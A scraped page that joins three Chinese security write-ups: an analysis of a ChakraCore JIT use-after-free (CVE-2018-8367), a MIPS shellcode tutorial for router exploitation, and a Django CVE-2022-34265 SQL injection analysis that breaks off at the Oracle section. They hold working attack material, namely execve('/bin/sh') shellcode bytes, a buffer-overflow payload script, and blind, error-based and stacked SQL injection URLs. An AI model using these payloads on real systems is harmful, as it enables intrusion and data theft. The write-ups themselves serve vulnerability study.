作者博客：<https://blogs.projectmoon.pw/2018/09/15/Edge-Inline-Segment-Use-After-Free/>
在今个月的微软补丁里,修复了我报告的4个漏洞,我将会一一讲解这些漏洞.因为我写的这些文章都是用我的空余时间写的,因为每天还有大量的工作和需要休息,而且这个博客也是一个非公的私人博客,所以我不能保证更新的时间.
这篇文章讲的是CVE-2018-8367,大家可以从这里看到这个bug的[patch](https://github.com/Microsoft/ChakraCore/commit/dd5b2e75e7aebe67b5185383080c0648f5353ea0
"patch").
这是一个品相非常好的UaF,所以利用起来比较简单.同时这也是JIT中一个比较特别的漏洞,因为它需要其他模块的配合,希望能为大家以后寻找JIT漏洞的时候带来一些新思考
测试版本:chakraCore-master-2018-8-5 release build(大概是这个日期下载的就可以了)
#### 关于Chakra的垃圾回收(GC)
要找到chakra中的UaF漏洞,首先需要了解chakra引擎的gc是怎么执行的.简单来说,chakra用到的gc算法是标记-清除(mark-sweep)算法,更详细的细节我推荐大家可以看看[<<垃圾回收的算法与实现>>](https://item.jd.com/12010270.html
"<<垃圾回收的算法与实现>>").
这个算法的核心在于有一堆需要维护的根对象(root),在chakra中根对象主要包括显式定义的脚本变量(var/let/const)还有栈上和寄存器的变量.算法从根对象开始扫描,并且递归扫描他们中的子对象(例如array对象中的segment就是array的子对象),直到遍历完所有的根对象和子对象.标记阶段完成后,如果没有标记的对象就是代表可以释放的,这时候内存管理器就会负责回收这些对象以用来以后的分配.
Chakra的gc算法主要有两个缺陷,第一是没有区分数字和对象,所以利用这个特性通过在栈上分配大量数字,然后通过侧信道攻击可以获得某个对象的地址.(这是我之前听过的一种攻击方法,不知道现在修补没有)
第二个缺陷在于,gc算法遍历子对象的时候,是需要知道父对象的大小的,不能越界遍历标记(例如父对象是array的时候,需要知道array的大小去递归标记).
**所以如果一个对象A中假如有一个指针指向另一个对象B的内部(非对象开始位置),A中的指针是不会执行标记操作的.假如除了对象A中的指针没有其他任何指针指向对象B,B对象是会被回收的.这样在A对象中就有一个B对象的悬挂指针(Dangling
Pointers).**
寻找UaF漏洞的关键就在于是否能创造一个对象中存在一个指针,指向另一个对象内部,而一般能出现这种情况的对象是String和Array.以前出现的类似漏洞有:[CVE-2017-11843](https://github.com/Microsoft/ChakraCore/commit/14f44de6188e403161a3fa3850025d391150e278
"CVE-2017-11843")
#### Array Inline Segment 与Array.prototype.splice
在创建数组的时候,如果数组的size小于一定的值,数组的segment是会连着数组的meta
data,也就是保存数组数据的segment紧跟数组后面.内存布局如图所示:
let arr = [1.1,2.2,3.3,4.4,5.5,6.6];
Array.isArray(arr);
可以看到0x11c45a07700这个segment的地址是紧跟在array(起始地址0x11c45a076c0)后面,这样的情况称为inline
segment.
另一方面Array.prototype.splice这个接口是用来从一个数组删除一定数量的element,然后放到新创建的数组上,具体可以参看[MDN](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/splice "MDN")
这里chakra在处理splice这个runtime接口的时候,里面存在一个优化的模式,假如要删除的element的start和end刚好等于一个segment的start和end(如上图就是index[0]到[5]),就会把这个segment的地址直接赋值到新创建的数组中(function|ArraySpliceHelper|):
但是这里它需要避免把一个inline
segment整个移动到另一个array中,否则就会出现上文提到的那种情况,一个对象中有一个指针指向另一个对象的非开头位置.
而判断是否|hasInlineSegment|的逻辑就是:
检查head segment的length是否少于|INLINE_CHUNK_SIZE|,这里是64.
**换句话说,现在如果我们要找一个UaF的漏洞,我们需要做的是创建一个head segment的length大于64的array.**
#### JIT PLEASE HELP ME
要想得到这样的一个array是很不容易的,因为在很多创建array的函数中,他们都会检查要创建的大小是否大于64,如果大于64,则会把head
segment单独分配在另外一个buffer,不会再紧跟在array后面.
**但是,一个chakra引擎是由很多很多人编写的,在我看来,编写JIT模块的人应该与runtime模块的人是不一样的,同样编写JIT的人会比较不熟悉runtime模块上的一些逻辑与细节.而在现实中,很多漏洞往往就是因为不同人员之间协同开发,导致一些跨模块的漏洞出现,这个漏洞就是典型的JIT开发人员不熟悉runtime模块导致.**
在今年一月份修复CVE-2018-0776,开发人员引入了这个漏洞:
[patch](https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de
"patch")和[GPZ Report](https://bugs.chromium.org/p/project-zero/issues/detail?id=1420&can=1&q=owner%3Alokihardt%40google.com&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&desc=2
"GPZ Report")
由于JIT的开发人员不熟悉runtime的逻辑,不清楚在创建数组的时候headsegment的length不能大于64,导致打破了chakra中的一些惯例.我们可以看到|BoxStackInstance|中创建数组的时候,根本没有判断需要创建的head大小就直接创建了一个inline
segment array.(这里我们需要deepcopy为true才可以)
所以到底什么是BoxStackInstance,在什么情况下才能调用这个创建数组?
在JIT中,有一个优化机制叫做escape
analysis,用于分析一个变量是否逃出了指定的范围,假如一个变量的访问用于只在一个function里面,我们完全可以把这个变量当成局部变量,分配在栈上,在函数返回的时候自动释放.这样的优化可以减少内存的分配和gc需要管理的对象,因为这里对象的生命周期是和函数同步的,并不是由gc管理.
但是这里有一个问题,但是某些特殊情况下,我们需要把这个栈上的变量重新分配到堆上,这时候就需要调用BoxStackInstance重新创建对象.
情况一就是bailout发生的时候,因为需要OSR回到解释器层面执行,这时候就没有所谓的native函数栈概念,只剩下虚拟机的虚拟栈,否则对象会引用已释放的栈空间.这种情况deepcopy为false,并不满足我们的需要.
情况二就是通过arguments访问一个栈变量,因为arguments可能是一个堆对象,它是由gc管理的,它里面必定不能包含栈分配的对象.这时候deepcopy为true.
至此,漏洞的大概原理已经分析清楚.
#### I WANT TYPE CONFUSION
通过上面的分析,我相信大家结合GPZ的case差不多已经知道如何构造poc了:
获得了这样一个evil array后,先转换成对象数组,然后我们用它来调用splice,把它的inline segment 赋值到另一个对象中:
然后把其他所有引用这个inline segment的array的对象全部清除掉,这时候这个带有inline
segment的array将会被回收,由于|evil|指向这个inlinesegment的pointer是指向这个array的内部,所以并不会影响这个array被回收
然后通过gc函数,对喷大量的float array,同时触发垃圾回收,这时候evil对象数组的segment区域将会被大量float array占据:
至此,我们已经成功将这个UaF的漏洞转成var array和float array的type
confusion漏洞,至于剩下怎么fake与leak,大家可以参考我们上一篇的blog,这里就不再重复了.
#### 总结
这里的修复也很简单,就是利用BoxStackInstance重新创建数组的时候判断array是否inline segment
array,如果不是,则把head segment分配到另外的地方,以免影响splice里面|hasInlineSegment|的判断.
从这个案例我们可以知道,在一个庞大的项目开发的时候,往往由很多不同的人员开发,而他们往往对自己平时不接触的模块比较陌生,这样在打一些补丁或者修改代码的时候很可能会引入一些跨模块的漏洞.
除此以外,我们也可以想到,在查看JIT漏洞的时候,我们不能仅仅只盯着在JIT编译出来的代码或者把JIT独立出来思考,可能一些JIT的问题需要配合runtime或者其他模块才能形成一个完成的安全漏洞.这也为以后寻找JIT漏洞的时候带来一些新思路—-结合其他的模块思考.
Thank you for your time.
* * * | 社区文章 |
# 路由器漏洞复现终极奥义——基于MIPS的shellcode编写
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
今天我们来聊聊如何在MIPS架构中编写shellcode。在前面的两篇文章中，我们分别介绍了基于MIPS的缓冲区溢出实践，以及进一步的如何利用学到的溢出知识复现与验证路由器的漏洞。但是在上文的路由器漏洞利用的例子里面，我们需要有一个前置条件，即含有漏洞的程序必须导入了系统的库函数，我们才能方便的验证，然而这个条件并不是时刻有效的。因此，在本文中，我们介绍路由器漏洞复现的终极奥义——基于MIPS的shellcode编写。有了shellcode，如果目标程序能够被溢出，那么我们就可以执行任意的程序。所以说是终极奥义。简单来说，shellcode就是一段向进程植入的一段用于获取shell的代码，（shell即交互式命令程序）。现如今，shellcode从广义上来讲，已经统一指在缓冲区溢出攻击中植入进程的代码。因此，shellcode现在所具备的功能不仅包括获取shell，还包括弹出消息框、开启端口和执行命令等。
在本文中，我将介绍
1. 基于MIPS的常用shellcode；
2. 快速提取shellcode的二进制指令的工具- **shell_extractor.py** ；
3. 开发的shellcode如何在自己的实验程序应用。
**其中，shellcode二进制指令快速提取工具是我自己开发的。**
我随便搜索了一下，没有发现类似的能够满足我需求的工具，所以就自己开发了一个工具，已经开源在[shell_extractor](https://github.com/desword/shellcode_tools)），欢迎大家使用。如果大家有更好的工具，欢迎评论。^_^
## 0\. 鸟瞰shellcode
首先，我们先从一个比较直观的角度来了解一下，一个shellcode它在缓冲区溢出攻击的过程所扮演的角色和所处的位置。
如图所示一个常见的MIPS堆栈分配情况
Shellcode最常见的用法，就是把可以执行的命令覆盖到堆栈里面，通过修改RA跳转到堆栈的起始位置的方式，达到在堆栈里面执行自己想要的命令的方式。因此shellcode实际上就是一段可执行的汇编指令。
**讲到这里，那么问题来了，怎么编写这段汇编指令呢？**
有两种思路，第一种：从网上搜索一些shellcode的汇编，编译之后反编译，获取二进制指令。这种方法也可以，也是比较常见的做法。还有一种，需要稍微花一点功夫：即用c语言先写一个系统命令调用，编译，然后用IDA反编译，直接把对应的汇编指令提取出来。不过，在提取对应的汇编指令的时候，需要对存储的参数的位置，以及对于寄存器的处理进行重新的调整。
比如，我们编写一个execve的调用程序。execve是shellcode常用的程序之一，它的目的是让已经嵌入的应用程序执行另外一个程序，比如/bin/sh。
Linux 中对该系统调用的定义如下：
int execve(const char *path, char *const argv[], char *const envp[]);
那么我一个常见的c语言调用execve的代码可以是这样的：
#include <stdio.h>
int main()
{
char *program = "/bin/ls";
char *arg = "-l";
char *args[3];
args[0] = program;
args[1] = arg;
args[2] = 0;
execve(program, args, 0);
}
编译下，看看IDA反编译出来是什么样的
会发现，参数program和arg的是需要重新处理的，比如就跟着放在这段shellcode程序的后面（之后介绍的手动编写shellcode就会写到这种处理方式）
execve在跳转之后，会发现，最终是通过syscall完成的系统调用。
总结来说，这二种方法适合初学者一步一步对应着c源代码和汇编程序，学习汇编程序的shellcode编写。但是直接提取的话，会发现冗余的指令过多。在覆盖堆栈的时候，占用的空间越少，漏洞利用的成功率会越高。因此，本文还是着重第一种方式，即从成熟的处理好的shellcode中学习。感兴趣的读者也可以进一步优化上述代码，让它的体积尽可能小，这对于打基础是非常好的。
前面我们提到，最终execve是通过syscall这个命令实现的系统调用，因此，基于MIPS的shellcode编写，大部分都是基于syscall这个命令的。
syscall函数的参数形式为 syscall($v0, $a0, $a1…);
其中$v0用于保存需要执行的系统调用的调用号，并且按照对应的函数调用规则放置参数。比如调用exit的汇编代码例子。
li $a0, 0
li $v0, 4001
syscall
其中指令li (x,y)的意思是将立即数y放置到寄存器x中。系统调用好可以在linux系统里找到，比如在/usr/include/mips-linux-gnu/asm/unistd.h里面。本文中，我们围绕两个系统命令来展开，并且深入介绍一个完整shellcode开发以及漏洞的流程。即write,
execve指令。Write就是输出字符串到指定流的系统调用。
我们可以找到write的调用号是4004， 而execve是4011.
总体来说，基于MIPS的shellcode开发以及漏洞的流程分为以下的步骤（其他平台的shellcode开发也类似）：
1. 编写shellcode的汇编代码，从网上寻找，或者自己编写。
2. 编译，反编译之后，提取shellcode的二进制代码。
3. 在c中测试提取的二进制代码。
4. 构造payload进行测试。
## 1\. Shellcode的汇编代码构造
首先第一步，shellcode的编写。一个典型的调用write的c代码为：
Int main()
{
char *pstr = “ABCn”;
write(1, pstr, 5);
}
写成shellcode就为write.S
.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32 # 抬高堆栈，用来放置参数
li $a0,1 # 传入第一个参数，表示输出到stdout
lui $t6,0x4142
ori $t6,$t6,0x430a # 放置字符ABCn到$t6中
sw $t6,0($sp) # 将$t6里面的数据存储到堆栈中
addiu $a1,$sp,0 # 从堆栈中将ABCn存储到第二个参数$a1中，
li $a2,5 # 传入第三个参数，5，表示字符串长度
li $v0,4004 # 传入write的系统调用号4004
syscall
其中，.section .text 表示当前为.text程序段，.globl __start表示定义程序开始的符号，.set
noreorder表示不对汇编指令进行重新排序。
接下来使用下面的脚本来编译上述汇编指令，要从build-root里面的来编译。书本《揭秘家用路由器0day漏洞挖掘技术》提供的脚本直接执行了命令as,ld是有问题的，希望大家注意，正确的脚本如同下面类似的
#!/bin/sh
# $ sh nasm.sh <source file> <excute file>
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o
echo "as ok"
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst
echo "ld ok"
rm s.o
那么下面的命令既可以编译：
bash nasm.sh write.S write
另外一方面，对于execve(“/bin/sh”, 0, 0)产生而言，典型的shellcode应为execve.S
.section .text
.globl __start
.set noreorder
__start:
li $a2,0x111 #
p:bltzal $a2,p # 该指令执行后，会使得下下行的地址保存在$ra中
li $a2,0 # 存入第三个参数0，
addiu $sp,$sp,-32 # 拉高堆栈，存放参数
addiu $a0,$ra,28 # $ra+28是下面参数字符串/bin/sh的首地址
sw $a0,-24($sp) # 将/bin/sh存入开辟的数组
sw $zero,-20($sp) # 将参数0存入数组
addiu $a1,$sp,-24
li $v0,4011
syscall
sc: # 存储的参数/bin/sh
.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
这里推荐的大家一个网址，有大部分的MIPS指令集合：[MIPS指令集合](http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html)
我们会发现，优化过后的execve的shellcode指令长度和直接从c语言编译再反编译过来的长度要缩减很多。
## 2\. 提取shellcode对应的二进制代码
接着，我们需要用程序中提取shellcode对应的二进制代码。
传统的方式，需要在IDA中寻找到对应的shellcode的二进制代码，比如
然后拷贝出来，再处理成这样类似的字符串形式：
可以发现，工作量还是有不少的。因此，我开发了一个简单的工具，来自动的从编译好的二进制代码中，提取对应的shellcode。使用下面的简单命令，就可以提取成c测试格式的二进制代码，或者py测试的。
$ python shell_extractor.py execve c
char shellcode[] = {
"x24x06x06x66"
"x04xd0xffxff"
"x28x06xffxff"
"x27xbdxffxe0"
"x27xe4x10x01"
"x24x84xf0x1f"
"xafxa4xffxe8"
"xafxa0xffxec"
"x27xa5xffxe8"
"x24x02x0fxab"
"x00x00x00x0c"
"x2fx62x69x6e"
"x2fx73x68x00"
};
用法来说，就是：
[+] usage: python shell_extractor.py [filename] [format]
[*] where format can be c or py
这个工具的核心部分，就是利用readelf –S execve这个命令，来获取shellcode中关键code的部分，然后提取出来构造成需要的格式。
比如，上述 的0xd0就是shellcode二进制代码的起始偏移，0x30就是代码的长度。
## 3\. c语言中测试shellcode
按照工具里面的构造，选择c语言格式输出以后，按照下面的c代码格式，就可以方便的测试一下shellcode的了。比如对于execve这个函数。
#include <stdio.h>
char shellcode[] = {
"x24x06x06x66"
"x04xd0xffxff"
"x28x06xffxff"
"x27xbdxffxe0"
"x27xe4x10x01"
"x24x84xf0x1f"
"xafxa4xffxe8"
"xafxa0xffxec"
"x27xa5xffxe8"
"x24x02x0fxab"
"x00x00x00x0c"
"x2fx62x69x6e"
"x2fx73x68x00"
};
void main()
{
void (*s)(void);
printf("sc size %dn", sizeof(shellcode));
s = shellcode;
s();
printf("[*] work done.n");
}
接着使用如下的脚本：
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-gcc $src -static -o $dst
指令命令类似于：
bash comp-mips.sh execve_c.c execve_c
就可以完成编译
## 4\. 构造payload测试shellcode
到了这一步，payload的构造方式其实和之前介绍的文章差不多的了。唯一的差别就在于，这回需要覆盖的RA的地址，就是堆栈的起始地址，因此，一个样例的payload可以是：
import struct
print '[*] prepare shellcode',
#shellcode
shellcode = "A"*0x19C # padding buf
shellcode += struct.pack(">L",0x408002D8) # this is the sp address for executing cmd.
shellcode += "x24x06x06x66"
shellcode += "x04xd0xffxff"
shellcode += "x28x06xffxff"
shellcode += "x27xbdxffxe0"
shellcode += "x27xe4x10x01"
shellcode += "x24x84xf0x1f"
shellcode += "xafxa4xffxe8"
shellcode += "xafxa0xffxec"
shellcode += "x27xa5xffxe8"
shellcode += "x24x02x0fxab"
shellcode += "x00x00x00x0c"
shellcode += "x2fx62x69x6e"
shellcode += "x2fx73x68x00"
print ' ok!'
#create password file
print '[+] create password file',
fw = open('passwd','w')
fw.write(shellcode)#'A'*300+'x00'*10+'BBBB')
fw.close()
print ' ok!'
上述的例子基于的漏洞是文章xx中提供的具有漏洞的程序。可以发现是可以成功利用的。
但是，细心的读者一定发现了，这里面仍然是有nullbyte的，即在调用syscall的时候，shellcode +=
“x00x00x00x0c”，提取的二进制code是这样的。其实他可以改成shellcode +=
“x01x01x01x0c”的形式，就能够成功绕过null byte的问题了。
这里给感兴趣的读者留一个自己练习的题目，即，同样是上面的这段shellcode，感兴趣的读者可以试试把这段代码放到上篇文章xx提到的路由器漏洞中，照葫芦画瓢的试试能不能拿到shell。^_^
## 总结
本文主要介绍了shellcode的编写流程，以及自己开发的一个快速shellcode二进制代码提取工具。Shellcode的编写中，绕过null
byte的方式，可以通过优化代码，比如上述（”x00x00x00x0c”改成x01x01x01x0c），也可以通过对shellcode进行二次编码的方式。Shellcode的编码花样可以很多，可以将shellcode进行压缩，可以将shellcode的bad
bytes给替换掉。这些内容将在未来介绍。 | 社区文章 |
## 前言
Django 这个漏洞 p 牛在小密圈里发过一些分析，有谈到过不同数据库的情况下，漏洞存在情况有异，其他复现的文章我也多少阅读过，大多是
PostgreSQL 和 MYSQL 的，并且有些仅谈到了其中一个漏洞函数，笔者个人是有些强迫症的—— Django 主流支持的数据库还有 Oracle 和
SQLite，payload 的构造也不尽相同，就想着自己搭建环境调试看看具体情况。
由于笔者个人水平有限，行文如有不当，还请各位师傅评论指正，非常感谢。
## 环境配置
环境使用的是作者[提供的样例](https://github.com/aeyesec/CVE-2022-34265)（基于官方文档的例子），当然 p 牛的
[vulhub](https://github.com/vulhub/vulhub/tree/master/django/CVE-2022-34265)
也建议读者去复现一下（Trunc 的回显是非常直观的），如果读者有改动数据库的需求的话，直接在 settings.py 文件中修改 `DATABASE`
即可，笔者的配置如下，具体请根据注释修改。
# SQLite 配置
# Django 默认数据库 SQLite
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# PostgreSQL 配置
# 需要先 pip install psycopg2
# 如果有问题，请走 https://github.com/psycopg/psycopg2
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.postgresql',
# 'NAME': '你的数据库名称',
# 'USER': '数据库用户名',
# 'PASSWORD': '数据库密码',
# 'HOST': '127.0.0.1',
# 'PORT': '默认是5432，视读者实际安装端口修改',
# }
# }
# MYSQL 配置
# 需要先 pip install mysqlclient
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.mysql',
# 'NAME': '你的数据库名称',
# 'HOST': 'localhost',
# 'PORT': '3306',
# 'USER': '数据库用户名',
# "PASSWORD": '数据库密码',
# }
# }
# Oracle 配置
# Oracle 的写法有两种，新安装的读者可以直接套用以下配置
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.oracle',
# 'NAME': 'localhost:1521/orcl',
# 'USER': 'system',
# 'PASSWORD': '数据库密码',
# }
# }
修改完后，根据自己的 appname 填入，执行以下命令生成实验表即可（如果你是用了作者的环境，直接执行第三条即可）。
python3 manage.py makemigrations [appname]
python3 manage.py sqlmigrate [appname] 0001
python3 manage.py migrate
VS 调试的话，配置 launch.json 中的 `justMyCode` 记得改为 `false` 才能调试到 Django 中的代码：
## 漏洞详情
在受影响的 Django 版本中，如果 ORM 日期函数 `Trunc()` （其中参数 `kind`）和 `Extract()`（其中参数
`lookup_name`），在业务逻辑中前端页面没有进行输入过滤、转义，则可构造恶意 payload 导致 SQL 注入攻击。
将 `lookup_name` 和 `kind` 限制在已知安全列表中的应用程序不受影响。
官方通告：[Django security releases issued: 4.0.6 and 3.2.14 | Weblog | Django
(djangoproject.com)](https://www.djangoproject.com/weblog/2022/jul/04/security-releases/)
## 影响版本
## 漏洞函数介绍
简单来说 `Extract()` 通常用于提取日期一部分，比如我想要获取新海诚所有动漫电影上映的年份，侧重的是日期。
而 `Trunc()` 是聚合函数，常常用在统计某个日期的一部分所发生的事或者某一数据，比如我想要获取 2019 年上映了多少动漫电影、9
月某部电影的票房多少等等，侧重的是数据。
以下是官方文档的介绍供补充：
> `Extract()` 常用于提取日期的一个组成部分作为一个数字。
>
> 具体参数设置：
>
>
>
>
> `lookup_name` 设置不同值的结果：
>
>
>
>
> 上面的每个 `lookup_name` 都有一个相应的 `Extract` 子类（下面列出的），通常应该用这个子类来代替比较啰嗦的等价物，例如，使用
> `ExtractYear(...)` 而不是 `Extract(...，lookup_name='year')`。
>
> `Trunc()`
> 用于截断日期的某一部分，它及其子类通常用于过滤或汇总数据（关心某事是否发生在某年、某小时或某天，而不关心确切的秒数时），比如用来计算每天的销售量。
>
> 具体参数设置：
>
>
>
>
> `kind` 设置不同值的结果：
>
>
>
>
> 同样的，以上每个 `kind` 都有一个对应的 `Trunc` 子类（下面列出的），通常应该用这个子类来代替比较啰嗦的等价物，例如使用
> `TruncYear(...)` 而不是 `Trunc(...，kind='year')`。
## 审计调试
首先明确可控的参数，在漏洞详情中有提到过 Extract 中的 `lookup_name` 和 Trunc 中的 `kind`
这两个参数，这俩在调试过程中发现其实就是 `lookup_type` 。
因为具体过程比较复杂，在省略了一系列包括使用 `F()` 对象生成 sql 表达式、查找子类等等过程后，笔者总结形成 sql 的过程大致如下：
django\db\models\functions\datetime.py -> class Extract / (class Trunc ->
class TruncBase)
django\db\models\query.py ->class QuerySet
Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的，本质上是一个懒加载的对象，在内部，创建、过滤、切片和传递一个
QuerySet 不会真实操作数据库，在对查询集提交之前，不会发生任何实际的数据库操作。
django\db\models\functions\datetime.py -> as_sql
`as_sql` 用于生成数据库函数的 SQL 片段，而针对 Oracle 后端数据库调用的是 `as_oracle` 。
django\db\models\sql\compiler.py -> class SQLCompile -> compile
`compile` 为每个表达式生成 sql，并将结果用逗号连接起来，然后在模板中填入数据，并返回 sql 和参数。
django\db\models\lookups.py -> Lookup
最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py （就是环境搭建部分 `DATABASES` 中
`ENGINE` 对应的配置）中的 `datetime_extract_sql` 以及 `datetime_trunc_sql` 方法对于
`lookup_type` 这个参数的处理来判断是否存在漏洞。
以下调试部分都基于上面总结的过程来进行分析。
### SQLite
def datetime_extract_sql(self, lookup_type, field_name, tzname):
return "django_datetime_extract('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
return "django_datetime_trunc('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)
可以看到只是将值变小写了。
先看正常测试查询结果：
调试过程中获取到 sql 语句如下：
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment"
WHERE django_datetime_extract('year', "vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_extract('year', "vulmodel_experiment"."end_datetime", NULL, NULL))
调试中看到 year 作为 payload 拼接进语句，此前是毫无过滤的，因此造成了注入。
Trunc 函数的 sql 语句：
django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL)
-- 查询语句
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE django_datetime_cast_date("vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL))
由上可构造 poc（Extract 和 Trunc 的构造类同）：
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +
以上回显不同，可以使用盲注，另外 SQLite 没有 IF，用 `CASE WHEN` 即可。
### PostgreSQL
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)
date_extract_sql
def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
Extract 的 sql 语句：
调试获取到的 sql 语句如下：
EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')
Trunc 的 sql 语句：
DATE_TRUNC('year', "vulmodel_experiment"."start_datetime");
-- 查询语句如下
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))
由上构造 payload：
/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
报错注入如下：
因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。
### MYSQL
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
fields = ["year", "month", "day", "hour", "minute", "second"]
# 可以看到 fields 都有对应的 format 填充
format = (
"%%Y-",
"%%m",
"-%%d",
" %%H:",
"%%i",
":%%s",
) # Use double percents to escape.
format_def = ("0000-", "01", "-01", " 00:", "00", ":00")
if lookup_type == "quarter":
return (
"CAST(DATE_FORMAT(MAKEDATE(YEAR({field_name}), 1) + "
"INTERVAL QUARTER({field_name}) QUARTER - "
+ "INTERVAL 1 QUARTER, '%%Y-%%m-01 00:00:00') AS DATETIME)"
).format(field_name=field_name)
if lookup_type == "week":
return (
"CAST(DATE_FORMAT(DATE_SUB({field_name}, "
"INTERVAL WEEKDAY({field_name}) DAY), "
"'%%Y-%%m-%%d 00:00:00') AS DATETIME)"
).format(field_name=field_name)
try:
i = fields.index(lookup_type) + 1
except ValueError:
sql = field_name
else:
format_str = "".join(format[:i] + format_def[i:])
sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
return sql
就上面的来看 Trunc 是不存在漏洞的，都用对应 format 格式字符串代替了，来看 Extract 调用的 `date_extract_sql`：
def date_extract_sql(self, lookup_type, field_name):
...
else:
# EXTRACT returns 1-53 based on ISO-8601 for the week number.
# 进入这个分支
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
不过是将值变为了大写。
下面调试获取 sql 语句看看：
调试获取到 EXTRACT sql 语句如下：
EXTRACT(YEAR FROM `vulmodel_experiment`.`start_datetime`)
注意 MYSQL 中拼接没用单双引号。
payload 构造：
/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +
接下来测试 Trunc 函数：
调试获取到的 sql 语句如下：
CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)
-- 查询语句
SELECT `vulmodel_experiment`.`id`, `vulmodel_experiment`.`start_datetime`, `vulmodel_experiment`.`start_date`, `vulmodel_experiment`.`start_time`, `vulmodel_experiment`.`end_datetime`, `vulmodel_experiment`.`end_date`, `vulmodel_experiment`.`end_time` FROM `vulmodel_experiment`
WHERE DATE(`vulmodel_experiment`.`start_datetime`) = (CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)) LIMIT 21
可以看到与代码对应了，故 MYSQL 后端 Trunc 函数并不存在该漏洞。
### Oracle
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/ROUND-and-TRUNC-Date-Functions.html
if lookup_type in ("year", "month"):
sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
elif lookup_type == "quarter":
sql = "TRUNC(%s, 'Q')" % field_name
elif lookup_type == "week":
sql = "TRUNC(%s, 'IW')" % field_name
elif lookup_type == "day":
sql = "TRUNC(%s)" % field_name
elif lookup_type == "hour":
sql = "TRUNC(%s, 'HH24')" % field_name
elif lookup_type == "minute":
sql = "TRUNC(%s, 'MI')" % field_name
else:
# 进入这个分支
sql = (
"CAST(%s AS DATE)" % field_name
) # Cast to DATE removes sub-second precision.
return sql
可以看到 Trunc 是不存在的，拼接进去的只有 field_name，`date_extract_sql` 还是老样子改了个大写：
def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/EXTRACT-datetime.html
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
Extract 调试：
调试获取到的 sql 语句：
EXTRACT(YEAR FROM "VULMODEL_EXPERIMENT"."START_DATETIME")
payload 可类似构造如下（Oracle 不能堆叠注入）：
